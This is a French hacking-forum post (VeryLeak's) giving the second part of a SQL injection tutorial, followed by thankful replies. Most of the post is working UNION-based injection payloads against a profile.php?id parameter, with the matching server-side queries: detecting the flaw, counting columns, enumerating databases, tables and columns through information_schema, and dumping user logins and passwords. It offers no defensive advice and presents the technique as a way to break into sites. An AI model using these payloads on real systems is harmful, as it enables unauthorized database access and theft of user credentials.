• Salut Visiteur ! ✌
    Découvre nos partenaires officiels avec VeryLeak's. Des choix réfléchis, dignes de confiance pour tes avantages.

    StoryFound | REFUNDER TEAM

    StoryFound

    Rejoindre le Canal ✨ ou Plus d'information 📃

    Une question ? Rejoingnez nos différents canaux (Discord, Telegram, Revolt)

    Nos Canaux Communautaires

    Cet affichage peut se clôturer définitivement via la croix en haut à droite.

Cours Faille SQL #2

Shems

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
962
J'aime
762
Trophées
1 538
Inscrit
31 Décembre 2015
Link Removed
Bonjour Veryleak's.
Aujourd'hui je continue la suite du tutoriel sur les failles SQL n°2.

Tout d'abord, imaginons un site web ou vous pouvez voir les informations des différents utilisateurs :
Link Removed

Nous voilà donc sur le profile de l'admin par exemple, si vous rajouter une quote et qu'il y a une erreur,
alors il y a une faille SQL !

Maintenant il nous faut le nombre de champs, par exemple, si vous lisez le code, vous voyez qu'il y a deux champs,
user_login et user_mail, si vous faite un order by, vous irez seulement jusqu'a deux.
profile.php?id=5 order by 2 <- Aucune erreur
profile.php?id=5 order by 3 <- Erreur

Voilà comment sera interpréter votre requête SQL :

Code:
SELECT user_login,user_mail FROM jeux_user WHERE user_id = 5 order by 2

Ensuite nous allons utiliser union all select qui permet l'affichage des données, pour trouver dans le cas suivant,
la version de la BDD:
profile.php?id=-5 union all select 1,version()

Voilà la requête :

Code:
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,version()

version en 5.x sont exploitable !

Deux solution maintenant, soit vous êtes sur un CMS et vous connaissez la structure de la BDD et des tables, soit il vous faut la trouver par vous même !

group_concat(schema_name)
information_schema.schemata


La fonction group_concat permet de regrouper tous les résultats sur une ligne, schema_name est une table qui contient le nom de toute les base de données que vous avez.

information_schema est une base donnée qui se génere automatiquement sous phpmyadmin, elle contient les différentes option et configuration de phpmyadmin, dont le nom de toute vos BDD, dans la table schemata !


Code:
profile.php?id=-5 union all select 1,group_concat(schema_name) FROM information_schema.schemata
Voilà la requête envoyé au server :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(schema_name) FROM information_schema.schemata
Donc là vous sera retourner les différentes base :

Link Removed
group_concat(table_name)
information_schema.tables

Donc maintenant, il nous faut trouver les différentes table, pour cela on va encore utiliser la fonction groupe_concat, mais cette fois, sur
table_name, qui encore une fois est dans information_schema
profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables

Bien évidement vous avez bien trop de table, le plus simple serait de rajouter une condition pour voir les tables qui nous intéresse
profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'
voilà côté server :
Code:
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'
Link Removed
group_concat(column_name)
information_schema.columns


Maintenant il nous faut les colonnes de cette table, nous allons encore utiliser la table information_schema, celle ci contient une table, column qui contient tout les colonnes de toute les tables, donc on a besoin de la colonne column_name, de la base information_schema et de la table columns ou nous avons comme condition
table_name le nom de la table qui nous intéresse :
profile.php?id=-5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'

voilà côté server :
Code:
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'
Link Removed
Maintenant il ne nous reste plus qu'a récupérer les données qui nous intéresse, donc se sera pour nous les colonnes user_login et user_password :
Code:
profile.php?id=-5 union select user_login,user_password from jeux_user
côté server :
Code:
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union select user_login,user_password from jeux_user
Vous aurez donc l'identifiant avec le mdp qui ferrons leur apparition :
Link Removed

Et voilà la partie 2 est maintenant terminé.

Source :
Link Removed
Link Removed
Link Removed
Link Removed


Source :
Link Removed
Link Removed
Link Removed
Link Removed
 

H4X0RR

VeryLeak's Unique Member 👑
Level 5

Torrents Stats

Messages
1 503
J'aime
1 208
Trophées
830
Inscrit
26 Novembre 2015
Merci jamie xD
Link Removed
 

error404

VeryLeak's Unique Member 👑
Level 2

Torrents Stats

Messages
190
J'aime
55
Trophées
633
Inscrit
5 Mai 2020
c'est la première fois que je voit ça aussi bien expliqué.
Merci.
Ca ouvre de nouvelles perspectives.
 
Haut Bas